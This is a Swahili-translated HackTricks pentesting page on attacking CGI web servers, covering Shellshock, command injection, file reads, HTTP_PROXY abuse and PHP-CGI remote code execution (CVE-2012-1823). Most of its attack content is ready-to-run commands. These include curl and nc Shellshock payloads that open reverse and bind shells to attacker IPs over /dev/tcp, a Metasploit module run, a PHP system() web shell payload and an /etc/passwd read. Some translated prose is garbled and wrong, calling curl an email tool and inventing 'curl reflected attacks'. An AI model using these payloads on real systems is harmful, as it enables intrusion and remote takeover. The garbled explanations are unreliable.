hacktricks/network-services-pentesting/pentesting-web/cgi.md
2024-02-11 02:13:58 +00:00

10 KiB

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa

Vitufe vya CGI ni skripti za perl, kwa hivyo, ikiwa umedukua seva ambayo inaweza kutekeleza skripti za .cgi, unaweza kupakia kabati la nyuma la perl `/usr/share/webshells/perl/perl-reverse-shell.pl`, badilisha kipengee kutoka .pl hadi .cgi, toa ruhusa za utekelezaji `chmod +x` na fikia kabati la nyuma la nyuma kutoka kwenye kivinjari cha wavuti ili kuitekeleza. Ili kujaribu makosa ya CGI, inashauriwa kutumia nikto -C all na programu-jalizi zote

ShellShock

ShellShock ni kasoro inayoathiri kabati ya amri ya Bash inayotumiwa sana kwenye mfumo wa uendeshaji wa Unix. Inalenga uwezo wa Bash wa kutekeleza amri zilizopitishwa na programu. Kasoro iko katika usindikaji wa vipengele vya mazingira, ambavyo ni thamani zilizopewa jina la kudumu ambazo zinaathiri jinsi michakato inavyoendeshwa kwenye kompyuta. Wadukuzi wanaweza kudukua hii kwa kuambatanisha msimbo mbaya kwa vipengele vya mazingira, ambayo inatekelezwa baada ya kupokea kipengele. Hii inawezesha wadukuzi kudhoofisha mfumo.

Kwa kudukua kasoro hii, ukurasa unaweza kutoa kosa.

Unaweza kugundua kasoro hii kwa kugundua kuwa inatumia toleo la zamani la Apache na cgi_mod na kabati ya cgi au kwa kutumia nikto.

Jaribio

V jaribio vingi vinategemea kutoa ujumbe na kutarajia kuwa herufi hizo zitarudishwa kwenye jibu la wavuti. Ikiwa unaona ukurasa unaweza kuwa na kasoro, tafuta kurasa zote za cgi na jaribu.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (kurejelezwa, kipofu na nje ya mzunguko)

Curl ni chombo cha barua pepe kinachotumiwa kwa kawaida katika uchunguzi wa usalama wa wavuti. Inaruhusu mtumiaji kutuma ombi la HTTP kwa seva na kupokea majibu. Curl inaweza kutumika kwa njia tofauti za kudanganya na kuchunguza udhaifu katika programu za wavuti.

Curl Kurejelezwa (Reflected)

Katika mashambulizi ya Curl kurejelezwa, mtumiaji anaweza kuingiza data maalum katika ombi la HTTP ambalo linajibiwa na seva na kurejeshwa kwa mtumiaji. Hii inaweza kusababisha mashambulizi ya kuvuja kwa habari, kama vile kuvuja kwa data ya siri au kuki za mtumiaji.

Curl Kipofu (Blind)

Katika mashambulizi ya Curl kipofu, mtumiaji hawezi kupokea majibu moja kwa moja kutoka kwa seva. Badala yake, mtumiaji anatumia mbinu za kudanganya ili kuchunguza udhaifu. Hii inaweza kujumuisha kutuma ombi la HTTP kwa seva na kuchunguza muda wa majibu au kuchunguza mabadiliko katika tabia ya seva.

Curl Nje ya Mzunguko (Out-of-Band)

Katika mashambulizi ya Curl nje ya mzunguko, mtumiaji anatumia mbinu za kudanganya ili kusababisha seva kutuma data kwa seva nyingine nje ya mzunguko wa kawaida wa HTTP. Hii inaweza kusababisha kuvuja kwa habari au kuchunguza udhaifu katika seva ya asili.

Kwa kutumia Curl kwa njia hizi tofauti, wachunguzi wa usalama wa wavuti wanaweza kugundua na kuchunguza udhaifu katika programu za wavuti na kuchukua hatua za kurekebisha.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Kutumia

Kutumia ni mchakato wa kuchunguza na kutumia udhaifu katika programu ya CGI (Common Gateway Interface) ili kupata ufikiaji usioidhinishwa au kudhibiti mfumo. Hapa kuna baadhi ya mbinu za kutumia ambazo unaweza kutumia:

1. Command Injection (Uingizaji Amri)

Katika uingizaji amri, unatumia udhaifu katika programu ya CGI kuingiza amri za mfumo ambazo zinatekelezwa na seva. Hii inaweza kukuruhusu kutekeleza amri za mfumo, kusoma au kuandika faili, au hata kudhibiti mfumo mzima. Unaweza kutumia heredoc, backticks, au hata amri za shell kutekeleza uingizaji amri.

Mfano:

GET /cgi-bin/vulnerable.cgi?param=;ls -la; HTTP/1.1

2. File Inclusion (Kuingiza Faili)

Kuingiza faili ni mchakato wa kuingiza faili ya nje katika programu ya CGI. Hii inaweza kusababisha kusoma au kutekeleza faili za mfumo ambazo zinaweza kusababisha ufikiaji usioidhinishwa au kudhibiti mfumo. Unaweza kutumia mbinu kama Local File Inclusion (LFI) au Remote File Inclusion (RFI) kufanikisha hili.

Mfano:

GET /cgi-bin/vulnerable.cgi?param=/etc/passwd HTTP/1.1

3. SQL Injection (Uingizaji SQL)

Katika uingizaji SQL, unatumia udhaifu katika programu ya CGI kuingiza amri za SQL ambazo zinaweza kusababisha kuvuja kwa data au kudhibiti mfumo. Hii inaweza kukuruhusu kutekeleza amri za SQL, kubadilisha au kufuta data, au hata kudhibiti mfumo mzima. Unaweza kutumia mbinu kama Boolean-based SQL Injection, Union-based SQL Injection, au Error-based SQL Injection kufanikisha hili.

Mfano:

GET /cgi-bin/vulnerable.cgi?param=' OR '1'='1 HTTP/1.1

4. Remote Code Execution (Utekelezaji wa Kanuni Kijijini)

Katika utekelezaji wa kanuni kijijini, unatumia udhaifu katika programu ya CGI kutekeleza kanuni ya mbali kwenye seva. Hii inaweza kukuruhusu kutekeleza kanuni yoyote ya mbali, kudhibiti mfumo, au hata kupata ufikiaji usioidhinishwa. Unaweza kutumia mbinu kama deserialization vulnerabilities, template injection, au server-side request forgery (SSRF) kufanikisha hili.

Mfano:

GET /cgi-bin/vulnerable.cgi?param=<?php system($_GET['cmd']); ?> HTTP/1.1

Kumbuka: Kumbuka kuwa kutumia udhaifu katika programu ya CGI ni kinyume cha sheria na inaweza kusababisha masuala ya kisheria. Hakikisha unafuata sheria na kanuni zinazotumika wakati wa kufanya uchunguzi wa usalama au kujaribu mifumo ya CGI.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM kwa ombi la seva ya wavuti)

CGI inaunda mazingira ya kila kichwa katika ombi la HTTP. Kwa mfano: "host:web.com" inaundwa kama "HTTP_HOST"="web.com"

Kwa kuwa kifungu cha HTTP_PROXY kinaweza kutumiwa na seva ya wavuti. Jaribu kutuma kichwa kinachohusisha: "Proxy: <IP_mshambuliaji>:<BANDARI>" na ikiwa seva itafanya ombi lolote wakati wa kikao. Utaweza kukamata kila ombi lililofanywa na seva.

PHP ya zamani + CGI = RCE CVE-2012-1823, CVE-2012-2311

Kimsingi, ikiwa cgi ni hai na php ni "zamani" &lt;5.3.12 / &lt; 5.4.2 unaweza kutekeleza nambari. Ili kuchexploit hitilafu hii, unahitaji kupata faili fulani ya PHP ya seva ya wavuti bila kutuma parameta haswa bila kutuma herufi "=". Kisha, ili kujaribu hitilafu hii, unaweza kupata kwa mfano /index.php?-s zingatia `-s` na msimbo wa chanzo wa programu utaonekana kwenye jibu.

Kisha, ili kupata RCE unaweza kutuma ombi maalum hili: /?-d allow_url_include=1 -d auto_prepend_file=php://input na msimbo wa PHP utakaotekelezwa katika mwili wa ombi. Mfano:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Maelezo zaidi kuhusu vuln na exploits inayowezekana: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Mfano.

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: